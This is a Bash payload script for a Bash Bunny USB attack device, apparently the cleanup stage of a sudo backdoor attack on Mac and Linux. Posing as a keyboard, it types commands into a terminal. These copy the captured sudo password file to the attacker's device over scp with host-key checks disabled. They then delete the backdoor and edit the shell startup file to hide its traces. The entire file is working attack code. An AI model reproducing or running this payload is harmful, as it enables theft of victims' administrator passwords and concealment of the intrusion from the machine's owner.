#!/bin/bash

# Title:     SudoBackdoor{Cleaner}
# Author:    oXis
# Target:    Mac/Linux
# Version:   0.1
#
# Get back the password grabbed by the
# sudo backdoor and do cleanup
#
# White            |  Ready
# Blue blinking    |  Attacking
# Green            |  Finished

LED SETUP

#setup the attack on macos (if false, attack is for Linux)
mac=false

if [ "$mac" = true ]
then
    ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
else
    ATTACKMODE ECM_ETHERNET HID
fi

GET SWITCH_POSITION
GET HOST_IP

cd /root/udisk/payloads/$SWITCH_POSITION/
LOOT=/root/udisk/loot/SudoBackdoor
mkdir -p $LOOT

LED ATTACK

if [ "$mac" = true ]
then
    RUN OSX terminal
else
    RUN UNITY xterm
fi
QUACK DELAY 2000

QUACK STRING scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \~/.config/sudo/sudo.conf root@$HOST_IP:$LOOT/\$USER.sudo.passwd
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 500
QUACK STRING hak5bunny
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 500
if [ "$mac" = true ]
then
    QUACK STRING rm -rf \~/.config/sudo \&\& sed -i \'/export PATH=\\~\\/.config\\/sudo:/d\' \~/.bash_profile
else
    QUACK STRING rm -rf \~/.config/sudo \&\& sed -i \'/export PATH=\\~\\/.config\\/sudo:/d\' \~/.bashrc
fi
QUACK ENTER
QUACK DELAY 200
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
LED SUCCESS
